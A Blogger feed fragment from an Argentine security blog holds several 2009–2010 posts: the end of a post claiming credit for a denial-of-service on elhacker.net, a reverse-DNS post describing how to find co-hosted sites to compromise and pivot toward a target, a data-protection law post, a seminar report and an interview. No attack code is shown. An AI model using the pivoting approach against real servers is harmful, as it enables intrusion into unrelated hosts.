src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S1aca5th-KI/AAAAAAAAAFg/0_6oPLNEIec/s320/hacker.net2.jpeg" alt="" id="BLOGGER_PHOTO_ID_5428698386824034466" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1ac-g7MfQI/AAAAAAAAAFo/EbwUJ77uDu4/s1600-h/hacker.net7.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1ac-g7MfQI/AAAAAAAAAFo/EbwUJ77uDu4/s320/hacker.net7.jpeg" alt="" id="BLOGGER_PHOTO_ID_5428698998645751042" border="0" /&gt;&lt;/a&gt; Para los que son aun mas exigentes les damos un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;videito&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/1hhVXry3BkU&amp;amp;hl=es_ES&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/1hhVXry3BkU&amp;amp;hl=es_ES&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si bien mas que nada todo esto fue hecho para alimentar nuestro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;ego&lt;/span&gt; y para poder ayudar a su comunidad. En fin nunca se puedo contar con un %100 de seguridad siempre hay un &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_50"&gt;eslabón&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;debil&lt;/span&gt; por donde romper.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;Creditos&lt;/span&gt;: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;MagnoBalt&lt;/span&gt; &amp;amp;&amp;amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;FR&lt;/span&gt;34K&lt;br /&gt;[magnobalt.blogspot.com][www.delincuentedigital.com.ar]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-4541788715284110364?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/4541788715284110364/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/01/denial-of-service-elhackernet.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/4541788715284110364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/4541788715284110364'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/01/denial-of-service-elhackernet.html' title='Denial of Service elhacker.net'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DI2yEVgm8Qk/S1aebAujXvI/AAAAAAAAAFw/bG4Pondx0eU/s72-c/logo.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3588339955851196692</id><published>2010-01-18T18:41:00.000-08:00</published><updated>2010-01-18T20:13:00.400-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Reverse'/><title type='text'>Reverse DNS</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1UiGwOYPCI/AAAAAAAAAFA/rSJuFMUUM4w/s1600-h/2815491.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 320px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1UiGwOYPCI/AAAAAAAAAFA/rSJuFMUUM4w/s320/2815491.jpg" alt="" id="BLOGGER_PHOTO_ID_5428282425284770850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bueno después de una larga ausencia por motivos de las vacaciones y llegado hace instante, vuelvo a darle vida al blog, quiero saludar dando un Feliz 2010 y que todos sigamos creciendo y con buena salud, y espero que este año siga conociendo gente copada como lo hice en el 2009 que fue buenisimo.&lt;br /&gt;&lt;br /&gt;Bueno el motivo de este post es hablar sobre una técnica llamada reverse DNS, que en un Pentest no se debería dejar de lado, ya que siempre la Seguridad se rompe por el eslabón mas débil de la cadena. Muchos sabemos que algunos sitios están alojadas en servidores donde se comparte el mismo con otros clientes, es decir que en un servidor hay alojadas distintas paginas o Virtual Host.&lt;br /&gt;Esta técnica se usa para saber que paginas tiene relación con la pagina que estamos testeando. Es decir si nuestro target es &lt;span style="font-weight: bold;"&gt;www.ejemplo.com.ar&lt;/span&gt;, y esta alojada en un servidor donde se encuentran:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;www.ejemplo1.com.ar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;www.ejemplo2.com.ar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;www.ejemplo3.com.ar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;www.ejemploN.com.ar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Las herramientas que logran hacer el Reverse DNS nos mostrara dichas paginas. Los que traigo son 3 script que realizan la acción el cual están codeadas en PHP, PYTHON y PERL para que usen dependiendo la ocación una u otra ( siempre es bueno tener codeadas en distintos lenguajes).&lt;br /&gt;Los códigos en PHP y PYTHON fueron codeadas por mi amigo Daniel Godoy, al cual lo conocí en Salta y donde le hice una &lt;a href="http://magnobalt.blogspot.com/2009/11/entrevista-daniel-godoy.html"&gt;entrevista&lt;/a&gt; días después, de paso les doy su &lt;a href="http://www.delincuentedigital.com.ar/"&gt;Blog&lt;/a&gt;&lt;a href="http://www.delincuentedigital.com.ar/"&gt; &lt;/a&gt;que no esta bueno, esta muy bueno se lo recomiendo.&lt;br /&gt;Por que es importante esto? Cuando no podamos vulnerar la pagina que estamos testeando, ya sea por conocimientos o por que no hay forma, podríamos pensar que si  vulneramos una alojada en el mismo server, obtenemos la confianza del mismo, los que nos da incapie para poder escalar y llegar a nuestro objetivo. Esto me lo han contado xD jaja...&lt;br /&gt;&lt;br /&gt;Bueno ahi les dejo los codigo en paste2.org.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://paste2.org/p/619647"&gt;S0urc3 PHP&lt;/a&gt;&lt;br /&gt;&lt;a href="http://paste2.org/p/619654"&gt;S0urc3 Python&lt;/a&gt;&lt;br /&gt;&lt;a href="http://paste2.org/p/619653"&gt;S0urc3 Perl&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3588339955851196692?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3588339955851196692/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/01/reverse-dns.html#comment-form' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3588339955851196692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3588339955851196692'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/01/reverse-dns.html' title='Reverse DNS'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1UiGwOYPCI/AAAAAAAAAFA/rSJuFMUUM4w/s72-c/2815491.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-6838322879996024191</id><published>2009-12-09T18:08:00.000-08:00</published><updated>2009-12-11T12:33:19.117-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Leyes'/><category scheme='http://www.blogger.com/atom/ns#' term='articulo'/><title type='text'>Ley 25.326 Proteccion de los Datos Personales</title><content type='html'>Bueno ando medio perdido y va a ser mas ahora que viene el verano y me voy para mis pagos a pasar las vacaciones, así que con amigos, familia, fiestas, viaje a Mar del Plata, se va a complicar los post. xD &lt;p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Bueno decidí hacer este post por quizás hay veces que se desconoce de este tipo de derechos que tenemos. Voy a contar antes una historia chiquitita, que viene &lt;span style=""&gt; &lt;/span&gt;al caso y que me lo paso esta semana que anduve por Goya.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Resulta que estaba con un amigo y fuimos a buscarle a un amigo del papa de el, que es de Buenos Aires, y contando y hablando como buen porteño, comento que tenia un problema con un servidor dedicado que tiene el que lo usa para enviar mails.. Y ahí como se metió en mi ámbito de la informática le pregunte, si era de el, me contesto que no, era un servidor francés que alquila, y que brinda un servicio que ofrece a empresas de envió de mails, con distintas tarifas dependiendo la cantidad, esta base de mails con mas de 10.000.000 lo tiene organizado por profesión, entre otras cosas. Entonces yo le dije a vos spameas, y me contesto no precisamente. Entonces que realmente hace este?? ¿Acaso este señor no spamea?, acaso a mi me va a llegar a mi inbox un mail donde yo nunca pedí que me llegue ofreciendo algún producto/servicio de una empresa. Eso es SPAM. Y si encima al recibir dicho mail no hay ningún opción donde el usuario tenga la posibilidad de no recibir nunca mas este tipo de mail por esa empresa, entonces es DELITO.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Bien vamos al punto de este post, hay muchas empresas en &lt;st1:personname productid="la Web" st="on"&gt;la Web&lt;/st1:personname&gt; que ofrecen servicios de información personal de personas cobrando un monto específico. Esto son los populares &lt;b style=""&gt;BANCOS DE DATOS&lt;/b&gt; (Según la ley&lt;a href="http://www.varelaenred.com.ar/ley_25326.htm"&gt; 25.326 &lt;/a&gt;un &lt;span style=";font-family:Verdana;font-size:78%;"  &gt;Archivo, registro, base o banco de datos: Indistintamente, designan al conjunto organizado de datos personales que sean objeto de tratamiento o procesamiento, electrónico o no, cualquiera que fuere la modalidad de su formación, almacenamiento, organización o acceso.&lt;/span&gt;). Ahora la cuestión de esto es que estuve viendo algunas personas en Internet que quieren saber por ejemplo que tienen estas empresas en su base de datos sobre el mismo. Entonces lo que hacen es pagar el servicio mismo que se le cobraría a cualquiera, para saber los datos de una persona X, pero en este caso es el de sus datos, sin saber que hay un articulo en la ley 25.326 donde el titular de los datos tiene derecho a acceso al mismo.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Veamos el artículo&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: -36pt;"&gt;&lt;span style=""&gt;            &lt;/span&gt;&lt;i style=""&gt;&lt;span style=";font-family:Verdana;font-size:10;"  &gt;&lt;span style="font-size:85%;"&gt;ARTICULO 14. - (Derecho de acceso).&lt;br /&gt;1. El titular de los datos, previa acreditación de su identidad, tiene derecho a solicitar y obtener información de sus datos personales incluidos en los bancos de datos públicos, o privados destinados a proveer informes.&lt;br /&gt;2. El responsable o usuario debe proporcionar la información solicitada dentro de los diez días corridos de haber sido intimado fehacientemente.&lt;br /&gt;Vencido el plazo sin que se satisfaga el pedido, o si evacuado el informe, éste se estimara insuficiente, quedará expedita la acción de protección de los datos personales o de hábeas data prevista en esta ley.&lt;br /&gt;3. El derecho de acceso a que se refiere este artículo sólo puede ser ejercido en forma gratuita a intervalos no inferiores a seis meses, salvo que se acredite un interés legítimo al efecto.&lt;br /&gt;4. El ejercicio del derecho al cual se refiere este artículo en el caso de datos de personas fallecidas le corresponderá a sus sucesores universales.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: -36pt;"&gt;&lt;span style=";font-family:Verdana;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Verdana;font-size:10;"  &gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;Lo que realmente hice fue hacer un pedido a &lt;a href="http://www.globinfo.com.ar/"&gt;Globinfo&lt;/a&gt;, y pedir mis datos que tenían ellos, al recibir el mail me lo querían cobrar $19, creo que era precisamente. Entonces lo que hice es realizar un mail a atención al cliente pidiendo mis datos amprado por la ley 25.236, me respondieron muy bien, diciéndome que mis datos serán otorgados a mi (el Titular), pero debería seguir unas reglas que seria enviar mi copia de DNI a una determinada dirección por correo, y que dicho pedido será enviado dentro de los 10 días, como dice en el inciso 2 articulo 14. Aquí va el modelo de pedido. (Esto tendría que enviarse por correo pero se podría escanear el DNI y enviar por mail también)&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Verdana;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Verdana;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;pre&gt;Open Discovery S.A.&lt;br /&gt;&lt;br /&gt;Larrea 1354 Piso 14 Of 126&lt;br /&gt;&lt;br /&gt;CP&lt;span style=""&gt;  &lt;/span&gt;(1425)&lt;br /&gt;&lt;br /&gt;Ciudad de Buenos Aires&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por&lt;span style=""&gt;  &lt;/span&gt;la&lt;span style=""&gt;  &lt;/span&gt;presente, les solicito hacerme entrega de los datos personales que obren en su Base de Datos respecto de mi persona.&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Adjunto&lt;span style=""&gt;  &lt;/span&gt;a&lt;span style=""&gt;  &lt;/span&gt;la&lt;span style=""&gt;  &lt;/span&gt;presente&lt;span style=""&gt;  &lt;/span&gt;una&lt;span style=""&gt;  &lt;/span&gt;fotocopia&lt;span style=""&gt;  &lt;/span&gt;simple&lt;span style=""&gt;  &lt;/span&gt;de&lt;span style=""&gt;  &lt;/span&gt;mi&lt;span style=""&gt;  &lt;/span&gt;D.N.I. / L.E. / L.C. / C.I.,&lt;span style=""&gt;  &lt;/span&gt;Nº ...............................................&lt;span style=""&gt;  &lt;/span&gt;en prueba de mi identidad.&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Autorizo que mis datos sean transmitidos a la siguiente dirección de correo electrónico: ………………………&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lugar y fecha ……………………………………………..&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Firma:………………………… Aclaración……………………………………&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Quedando a su entera disposición, le envío un cordial saludo.&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lucila&lt;/pre&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Bueno dentro de poco les cuento como me fue y que que tan precisos son esos datos, Ah en caso de que la información sea falsa tenemos derecho a que ellos borren dicha información de sus bases, y seguramente que va haber un Abogado carroñero que quiera hacer algun reclamo por daños y perjuicios. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Saludos&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-6838322879996024191?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/6838322879996024191/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/12/ley-25326-proteccion-de-los-datos.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6838322879996024191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6838322879996024191'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/12/ley-25326-proteccion-de-los-datos.html' title='Ley 25.326 Proteccion de los Datos Personales'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-4883057995467608936</id><published>2009-11-30T09:00:00.000-08:00</published><updated>2009-11-30T09:09:53.492-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><title type='text'>Seguridad Informatica Y Hacking - San Pedro Jujuy</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SxP7umUpKjI/AAAAAAAAAE4/5pgRgYl-qdg/s1600/DSC03046.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SxP7umUpKjI/AAAAAAAAAE4/5pgRgYl-qdg/s320/DSC03046.JPG" alt="" id="BLOGGER_PHOTO_ID_5409944355381783090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Los días 27 y 28 de noviembre se hizo el seminario de Seguridad Informática y Hacking en San Pedro – Jujuy organizado por la gente de “&lt;a href="http://asociacionmenteslibres.wordpress.com/"&gt;Mentes Libres&lt;/a&gt;”. Y tuve la suerte de ir con la gente de &lt;a href="http://www.instelseguridad.com.ar/"&gt;Instel &amp;amp; Seguridad&lt;/a&gt;, Pedro Cacivio y Sebastián del Prado. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;El día Viernes llegamos a las 10 de la mañana aproximadamente a San Pedro después de haberrnos pasado 50 km de la misma (Ponganse las pilas con los carteles de la ruta, para el intendente ;) ). Al entrar fuimos para la plaza principal donde nos buscaron y fuimos al evento.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;Al llegar estaba Luciano Laporta dando “Introducción a la Informática”, nos quedamos un rato escuchándolo y después fuimos hacia al hotel a descansar unos minutos para volver&lt;span style=""&gt;  &lt;/span&gt;a las 13 hs a realizar el Seminario de Forense. Bueno sinceramente la cantidad de gente no fue la que nosotros esperábamos, o las que acostumbran asistir a esos eventos. Quizás alguna mala publicidad del mismo o vaya a saber que fue.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;Bueno después de almorzar, que lo hicimos todos juntos con la gente de” Mentes Libres” en el escenario del evento, donde compartimos charlas de toda índole y la infaltable charla sobre Seguridad Informática o algo relacionada al IT. Levantamos todo y empezamos con&lt;span style=""&gt;  &lt;/span&gt;el taller.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;Como en Salta, abrió el seminario Sebastián dando todo la teoría y manejo sobre plataformas Windows en donde es experto en la materia. Y Siguió Pedro dando una buena introducción a los sistemas *nix en Forense y contando sus experiencias. Luego seguí con ataques a sistemas WEB y sistemas de log de apache, explicación de archivo syslogd.conf.&lt;span style=""&gt;  &lt;/span&gt;Después de una hora de de mi parte para terminar seguimos juntos con Pedro mostrando zappers, rootkits, herramientas anti rootkits . Llegada las 20 y monedas dimos finalizado el seminario.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;Al otro día me toco a mí empezar el día de charlas a las 9 am. Y elegí el tema&lt;span style=""&gt;  &lt;/span&gt;“BLIND SQL INJECTION SOBRE MySQL”. &lt;span style=""&gt;  &lt;/span&gt;Bueno siguió el cronograma en lo normal, siguiendo Marcos Mansilla, Daniel Godoy, Sebastián del Prado, Luciano Laporta y el cierre Pedro Cacivio.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;En fin espero hacer una recolección de las presentaciones para que puedan verlas, y si alguien tiene algunos videos filmados de la charlas (que vi q algunos filmaban) si me pueden contactar así concordamos para subirlos a youtube y asi subir juntos con las presetaciones, para que la gente que no pudo asistir pueda verlos online conjuntamente. Espero de esa ayuda.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;En fin Saludos a todos, estaré subiendo dentro de estos días lo prometido&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="ES"&gt;Saludos&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-4883057995467608936?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/4883057995467608936/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/11/seguridad-informatica-y-hacking-san.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/4883057995467608936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/4883057995467608936'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/11/seguridad-informatica-y-hacking-san.html' title='Seguridad Informatica Y Hacking - San Pedro Jujuy'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/SxP7umUpKjI/AAAAAAAAAE4/5pgRgYl-qdg/s72-c/DSC03046.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-2610053723491042266</id><published>2009-11-21T11:25:00.000-08:00</published><updated>2009-11-23T13:20:44.769-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='entrevista'/><title type='text'>Entrevista: Daniel Godoy</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SwhG2uyKb1I/AAAAAAAAAEo/w0DyXqi50pc/s1600/PB080111.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SwhG2uyKb1I/AAAAAAAAAEo/w0DyXqi50pc/s320/PB080111.JPG" alt="" id="BLOGGER_PHOTO_ID_5406649258743590738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bueno vi que esta bueno hacer entrevista, y decidí abrir un sector para ello! El que rompe el hielo es Daniel Godoy, lo conocí en La 4ta Jornada de Software Libre en Salta que fue organizado por Salta L.U.G.&lt;br /&gt;El día viernes caímos con Pedro hacia la facultad de Salta UNSA, ya que el tenia que ir a hablar con un chico que le &lt;a href="http://murder.diosdelared.com/?coment=3837"&gt;entro al servidor de Mauro Torres&lt;/a&gt; (Creador de &lt;a href="http://www.tuquito.org.ar/"&gt;Tuquito&lt;/a&gt;) para mediar las cosas ya que Pedro es  amigo de Mauro. En el momento que caímos saludamos a mucha gente de Salta que me iba presentando Pedro, y después de un rato viene Miguel ( uno de los organizadores del evento), nos presenta un vago, el cual era Daniel. Donde nos saludamos. Tiempo seguido,  el y Pedro fueron a hablar sobre el tema Tuquito. Yo me quede viendo una charla de Luis Wayar que estuvo muy buena sobre Linux.&lt;br /&gt;Daniel no tuvo problemas en hacerle esta entrevista inexperta de parte mía, y bueno espero que la disfruten.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que tal te pareció Salta?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Hola primero que nada y gracias por hacerme esta entrevista ^^.&lt;br /&gt;Bueno la verdad que primero me gustaría hablar de la calidad bienvenida que me dieron allí, mucha gente copada, Carlos Debian :P&lt;br /&gt;Mattgaviota, no recuerdo sus nombres pero ellos me esperaron y me trataron de 100 puntos, luego me encontré con viejos amigos&lt;br /&gt;como ser, Gerardo Cabero y Miguel Tolaba (sigo agradecido eternamente), y también conocí mucha gente, entre esos a vos, Gabriel, mauro&lt;br /&gt;esteban, bueno mucha gente piola. Y segundo es una ciudad hermosa. Tengo planes de volver muy pronto porque me quede&lt;br /&gt;con ganas de seguir conociéndola.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que onda la noche Salteña?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;La noche Salteña, por lo poco que recuerdo, muy copada, muchas mujeres bonitas, alcohol. y mas especificacmente en la Balcarce... hay pubs y boliches por donde busques, la oportunidad que tuve de salir con los chicos del saltalug entramos a un boliche en patota y eramos como 20, la verdad que muy recomendable Salta si es que deseas conocer una hermosa provincia de este país.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que tenes pensado presentar en San Pedro -Jujuy la próxima semana? &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;bueno uno de los temas dice: Ventajas de tecnologías libre en seguridad informática, la idea a grandes rasgos es explicar porque al momento de confiar en una aplicación (del tipo que sea) les convendría elegir las que estén basadas en tecnologías libres.&lt;br /&gt;mostra como identificar fallos en aplicaciones de código abierto y de código cerrado, pero todo esto muy general, cosa de no aburrir y no meterme en un tema por demás complicado.&lt;br /&gt;La segunda charla sera la de  XSS, una técnica muy subestimada. Le puse ese nombre porque la mayoría de los administradores de sitios no fixean esos bugs que si bien al sitio no le causan daño relevante alguno, pueden ser perjudiciales para el usuario final. (a traves de esta técnicas se puede obtener datos personales entre otras cosas y cometer suplantación de identidades)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿hace cuanto estas en el Under?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;si la memoria no me falla ya casi son 4 para 5 años de que me empezó a interesar todo este tema de los sistemas, la verdad que es apasionante y calculo que a vos te debe pasar lo mismo :P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: 